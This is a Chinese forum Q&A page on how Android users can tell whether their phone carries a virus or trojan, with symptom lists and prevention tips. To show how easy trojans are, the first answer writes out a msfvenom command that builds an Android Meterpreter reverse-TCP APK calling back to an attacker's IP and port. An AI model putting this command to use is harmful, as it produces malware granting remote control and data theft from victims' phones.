安卓手机用户有没有简单的方法知道手机有没有中病毒和木马?
网友解答: 其它人回答的是重点在防护,也没有给出一个简单办法来看自己手机中是否中木马,我来回答你一下吧。木马(Trojan),也称木马病毒,是指通过特定的程序(木马程序)来控制另一台计算
其它人回答的是重点在防护,也没有给出一个简单办法来看自己手机中是否中木马,我来回答你一下吧。
木马(Trojan),也称木马病毒,是指通过特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是控制端,另一个是被控制端。木马这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的特洛伊木马本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种主机的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种主机。木马病毒的产生严重危害着现代网络的安全运行。
现在智慧手机大行其道,手机木马已经开始流行起来。一旦手机种了木马,个人隐私、以及个人财产都会受到很大威胁。很多人可能不以为然,以为手机木马并不好做,手机上装个杀软就能防护住了。其实现在手机木马非常好做,一个完全不懂APK编程的人也能做出手机木马。我们来简单看一下:
个人电脑装一个Pentestbox绿色软件后,一条命令就可以制作一个手机木马。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.17 LPORT=5555 R E:apk.apk参数说明:
LHOST 你windwos上的IP地址(我的局域网地址是192.168.43.17)
LPORT payload反向连接你主机的端口(这个谁便设置,我设置的5555)
R 后面跟你木马生成后的输出路径(我是输出到E盘,保存我apk.apk文件)
打开E盘看到apk.apk文件,说明手机木马已经制作成功了。
安卓手机木马制作竟然如此简单,哪么我们小白如何来判断自己手机中是否存在了木马呢?其实有一个简单的办法。我可以给你讲安卓在4.2.2后没有图标的程序是开机启动不了的,而且用户没有点击过的程序也是开机启动不了的,谷歌为了安全在4以后的系统用户必须点击一次程序才会让程序收到开机启动的广播。
所以本着这个原则,你手机里突然多了一个陌生的图标,不是自己安装过的APP,千万不要点击。另一个手机最好无事不要ROOT,哪么恭喜你,你以经手机中木马的机率已经降到99%以下了。另外的1%,我们还是要相信专业的查杀工具了。
这篇文章本来是我海阳顶端酷米号的第一篇文章,欢迎大家关注我,你会看到我更多文章。
网友解答:辨别手机是否中毒
1.手机性能是否大幅度下降?中毒后,手机的硬件规格受到恶意软件的侵扰,可能会导致严重的性能问题。因为后台运行的恶意软件,消耗了太多的存储空间,有时不得不数次重新启动设备。一些恶意广告、垃圾应用程序甚至还会影响电池的寿命,会引起电池异常。
2.通话是否经常掉线、中断?如果你信号良好的地方通话,但是过程中经常会出现掉线或者间歇性的中断,那么你的手机中很可能已经感染了超级病毒,而且带有病毒的恶意软件正在对通话进行干扰。遇到这种情况,您可以打电话给运营商询问清楚经常掉线的原因。
3.在一段时间内是否突然增加了话费支出?手机在感染恶意吸费的超级病毒后会在您不知情的情况下自动向通讯录的好友发送各种内容的短信,定制额外的收费业务,或者在有网络的情况下产生多余的上网流量从而吸走用户的话费。
用户在遇到上述情况,首先应该马上停止网络连接,与运营商取得联系,认真核对通信详单,检查短信记录和网络使用记录,一旦发现来源不明的短信发送行为和网络访问请求,应立即更改手机应用的账户密码等隐私信息,尤其是金融支付类、通信类相关的应用,以免造成进一步损失。其次,对已经发送出去的病毒短信应该马上告知相应的亲友,请勿轻信可能由本机号码发出各种虚假信息,并马上对其进行删除。然后,通过卸载可疑手机软件或者恢复手机出厂设置来根除病毒。如果造成重大经济损失,请保留通信记录详单、保持手机当前状态,向所属地区公安机关报案。
除以上情况外你还可以
1.可以通过usb数据线链接在PC端,用电脑上的杀毒软件对手机内部进行查杀即可。
2.手机自带管家基本都是有病毒查杀功能,可以经常进行自检和查杀
安全预防是关键
在超级手机病毒如此盛行的今天,因为取证难、资金损失难以追回等原因“亡羊补牢”显得为时已晚。所以对超级手机病毒做到防患于未然才是关键。
1.安全下载。安全下载是最有效的杜绝病毒入侵的方法,具体做法是在官方、正规的应用市场上下载。用户不要到手机论坛或者不经安全监测的小型手机应用市场、论坛或者刷二维码下载应用,因为软件可能已经被二次修改;不要下载安装朋友发过来的软件,因为你的朋友手机很可能已经中毒了。而要从正规的应用分发平台下载官方版软件,比如通过91手机助手、应用宝等平台下载应用。在这些平台上可以参考下载人数和评论,而且应用经过官方审核,可以从源头保证下载应用的安全。
2.安全点击。使用安卓手机时,切记不要轻易打开使用CDN为开头,以APK为结尾的链接。CDN是内容分发网络,通俗地说就是一个资源管理中心,很多的资源都上传到这里以供用户进行点击下载。APK就是安卓系统的安装包,相当于windows中的exe文件。如该“xx神器”超级病毒短信中的链接就很典型,有技术背景的人能够马上分辨出这个链接明显属于不安全的下载软件。安装时一定要把控隐私权限,对于超出软件功能的权限要求一定要警惕。
3.安全传输。在使用SD卡、T-FLASH微型卡等内存卡交换传输数据时,也要注意防止病毒感染,安全地进行文件传输,不要安装未知来源的蓝牙发送过来的可疑文件。没有传输时尽量隐藏或关闭手机的蓝牙功能,以防手机在不知不觉中自动接收未知来源的病毒。
4.安全升级。定期升级手机系统和软件,这样可以封堵其中存在的漏洞。一些病毒会利用系统或软件的漏洞来钻空子,一般每隔几个月厂家、软件商就会对系统和程序进行一次升级,修补漏洞和增加功能。一般情况下用户尽量不要刷机或者越狱等,刷机、越狱后系统不稳定,而且应用软件可以完全获取你手机的权限,这会加大你的手机感染上超级病毒的风险。